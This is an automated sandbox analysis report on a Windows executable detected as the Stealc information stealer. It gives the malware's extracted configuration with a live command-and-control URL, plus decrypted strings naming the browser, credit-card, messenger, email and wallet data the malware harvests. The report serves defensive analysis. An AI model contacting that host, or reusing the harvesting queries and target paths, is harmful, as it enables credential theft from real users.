Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:file.exe
Analysis ID:1545818
MD5:e4b956c7c98758b0fedda4156545593d
SHA1:42debf379a13bf4ea20036bfb780ad49b5e95bd6
SHA256:7d163fd79c3d69b1b2c9d00c90f9ea3379f94b504bd55192a483f528d6ac52c9
Tags:exeuser-Bitsight
Infos:

Detection

Stealc
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected Stealc
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found evasive API chain (may stop execution after checking locale)
Hides threads from debuggers
Machine Learning detection for sample
PE file contains section with special chars
Sample uses string decryption to hide its real strings
Searches for specific processes (likely to inject)
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality to create guard pages, often used to hinder reverse usering and debugging
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Detected potential crypto function
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found evaded block containing many API calls
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

  • System is w10x64
  • file.exe (PID: 716 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E4B956C7C98758B0FEDDA4156545593D)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
StealcStealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
dump.pcapJoeSecurity_Stealc_1Yara detected StealcJoe Security

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000000.00000002.2155893924.0000000000998000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_StealcYara detected StealcJoe Security
      00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmpJoeSecurity_StealcYara detected StealcJoe Security
        00000000.00000003.2114793571.0000000004E80000.00000004.00001000.00020000.00000000.sdmpJoeSecurity_StealcYara detected StealcJoe Security
          Process Memory Space: file.exe PID: 716JoeSecurity_PowershellDownloadAndExecuteYara detected Powershell download and executeJoe Security
            Process Memory Space: file.exe PID: 716JoeSecurity_StealcYara detected StealcJoe Security
              Click to see the 1 entries

              Unpacked PEs

              SourceRuleDescriptionAuthorStrings
              0.2.file.exe.e10000.0.unpackJoeSecurity_StealcYara detected StealcJoe Security

                Sigma Signatures

                ⊘No Sigma rule has matched

                Suricata Signatures

                TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                2024-10-31T04:16:02.780418+010020442431Malware Command and Control Activity Detected192.168.2.649725185.215.113.20680TCP

                Joe Sandbox Signatures

                Click to jump to signature section

                Show All Signature Results

                AV Detection

                barindex
                Antivirus / Scanner detection for submitted sample
                Source: file.exeAvira: detected
                Found malware configuration
                Source: 0.2.file.exe.e10000.0.unpackMalware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
                Multi AV Scanner detection for submitted file
                Source: file.exeVirustotal: Detection: 43%Perma Link
                AI detected suspicious sample
                Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
                Machine Learning detection for sample
                Source: file.exeJoe Sandbox ML: detected
                Sample uses string decryption to hide its real strings
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: INSERT_KEY_HERE
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: 30
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: 11
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: 20
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: 24
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetProcAddress
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: LoadLibraryA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: lstrcatA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: OpenEventA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CreateEventA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CloseHandle
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Sleep
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetUserDefaultLangID
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: VirtualAllocExNuma
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: VirtualFree
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetSystemInfo
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: VirtualAlloc
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: HeapAlloc
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetComputerNameA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: lstrcpyA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetProcessHeap
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetCurrentProcess
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: lstrlenA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: ExitProcess
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GlobalMemoryStatusEx
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetSystemTime
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SystemTimeToFileTime
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: advapi32.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: gdi32.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: user32.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: crypt32.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: ntdll.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetUserNameA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CreateDCA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetDeviceCaps
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: ReleaseDC
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CryptStringToBinaryA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: sscanf
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: VMwareVMware
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: HAL9TH
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: JohnDoe
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: DISPLAY
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %hu/%hu/%hu
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: http://185.215.113.206
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: bksvnsj
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: /6c4adf523b719729.php
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: /746f34465cf17784/
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: tale
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetEnvironmentVariableA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetFileAttributesA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GlobalLock
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: HeapFree
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetFileSize
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GlobalSize
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CreateToolhelp32Snapshot
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: IsWow64Process
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Process32Next
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetLocalTime
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: FreeLibrary
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetTimeZoneInformation
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetSystemPowerStatus
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetVolumeInformationA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetWindowsDirectoryA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Process32First
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetLocaleInfoA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetUserDefaultLocaleName
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetModuleFileNameA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: DeleteFileA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: FindNextFileA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: LocalFree
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: FindClose
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SetEnvironmentVariableA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: LocalAlloc
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetFileSizeEx
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: ReadFile
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SetFilePointer
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: WriteFile
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CreateFileA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: FindFirstFileA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CopyFileA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: VirtualProtect
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetLogicalProcessorInformationEx
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetLastError
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: lstrcpynA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: MultiByteToWideChar
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GlobalFree
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: WideCharToMultiByte
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GlobalAlloc
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: OpenProcess
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: TerminateProcess
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetCurrentProcessId
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: gdiplus.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: ole32.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: bcrypt.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: wininet.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: shlwapi.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: shell32.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: psapi.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: rstrtmgr.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CreateCompatibleBitmap
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SelectObject
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: BitBlt
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: DeleteObject
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CreateCompatibleDC
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GdipGetImageEncodersSize
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GdipGetImageEncoders
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GdipCreateBitmapFromHBITMAP
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GdiplusStartup
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GdiplusShutdown
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GdipSaveImageToStream
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GdipDisposeImage
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GdipFree
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetHGlobalFromStream
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CreateStreamOnHGlobal
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CoUninitialize
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CoInitialize
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CoCreateInstance
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: BCryptGenerateSymmetricKey
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: BCryptCloseAlgorithmProvider
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: BCryptDecrypt
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: BCryptSetProperty
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: BCryptDestroyKey
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: BCryptOpenAlgorithmProvider
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetWindowRect
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetDesktopWindow
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetDC
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CloseWindow
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: wsprintfA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: EnumDisplayDevicesA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetKeyboardLayoutList
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CharToOemW
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: wsprintfW
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: RegQueryValueExA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: RegEnumKeyExA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: RegOpenKeyExA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: RegCloseKey
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: RegEnumValueA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CryptBinaryToStringA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CryptUnprotectData
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SHGetFolderPathA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: ShellExecuteExA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: InternetOpenUrlA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: InternetConnectA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: InternetCloseHandle
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: InternetOpenA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: HttpSendRequestA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: HttpOpenRequestA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: InternetReadFile
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: InternetCrackUrlA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: StrCmpCA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: StrStrA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: StrCmpCW
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: PathMatchSpecA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: GetModuleFileNameExA
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: RmStartSession
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: RmRegisterResources
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: RmGetList
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: RmEndSession
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: sqlite3_open
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: sqlite3_prepare_v2
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: sqlite3_step
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: sqlite3_column_text
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: sqlite3_finalize
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: sqlite3_close
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: sqlite3_column_bytes
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: sqlite3_column_blob
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: encrypted_key
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: PATH
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: C:\ProgramData\nss3.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: NSS_Init
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: NSS_Shutdown
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: PK11_GetInternalKeySlot
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: PK11_FreeSlot
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: PK11_Authenticate
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: PK11SDR_Decrypt
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: C:\ProgramData\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SELECT origin_url, username_value, password_value FROM logins
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: browser:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: profile:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: url:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: login:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: password:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Opera
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: OperaGX
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Network
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: cookies
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: .txt
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SELECT HOST_KEY, is_httponly, path, is_secure, (expires_utc/1000000)-11644480800, name, encrypted_value from cookies
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: TRUE
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: FALSE
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: autofill
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SELECT name, value FROM autofill
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: history
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SELECT url FROM urls LIMIT 1000
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: cc
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: name:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: month:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: year:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: card:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Cookies
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Login Data
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Web Data
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: History
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: logins.json
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: formSubmitURL
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: usernameField
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: encryptedUsername
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: encryptedPassword
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: guid
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SELECT fieldname, value FROM moz_formhistory
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SELECT url FROM moz_places LIMIT 1000
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: cookies.sqlite
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: formhistory.sqlite
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: places.sqlite
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: plugins
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Local Extension Settings
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Sync Extension Settings
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: IndexedDB
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Opera Stable
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Opera GX Stable
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: CURRENT
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: chrome-extension_
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: _0.indexeddb.leveldb
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Local State
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: profiles.ini
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: chrome
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: opera
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: firefox
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: wallets
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %08lX%04lX%lu
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: ProductName
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: x32
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: x64
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %d/%d/%d %d:%d:%d
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: ProcessorNameString
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: DisplayName
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: DisplayVersion
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Network Info:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - IP: IP?
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Country: ISO?
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: System Summary:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - HWID:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - OS:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Architecture:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - UserName:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Computer Name:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Local Time:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - UTC:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Language:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Keyboards:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Laptop:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Running Path:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - CPU:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Threads:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Cores:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - RAM:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - Display Resolution:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: - GPU:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: User Agents:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Installed Apps:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: All Users:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Current User:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Process List:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: system_info.txt
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: freebl3.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: mozglue.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: msvcp140.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: nss3.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: softokn3.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: vcruntime140.dll
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: \Temp\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: .exe
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: runas
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: open
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: /c start
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %DESKTOP%
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %APPDATA%
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %LOCALAPPDATA%
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %USERPROFILE%
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %DOCUMENTS%
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %PROGRAMFILES%
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %PROGRAMFILES_86%
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: %RECENT%
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: *.lnk
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: files
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: \discord\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: \Local Storage\leveldb\CURRENT
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: \Local Storage\leveldb
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: \Telegram Desktop\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: key_datas
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: D877F783D5D3EF8C*
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: map*
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: A7FDF864FBC10B77*
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: A92DAA6EA6F891F2*
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: F8806DD0C461824F*
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Telegram
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Tox
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: *.tox
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: *.ini
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Password
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: 00000001
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: 00000002
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: 00000003
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: 00000004
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: \Outlook\accounts.txt
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Pidgin
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: \.purple\
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: accounts.xml
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: dQw4w9WgXcQ
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: token:
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: Software\Valve\Steam
                Source: 0.2.file.exe.e10000.0.unpackString decryptor: SteamPath
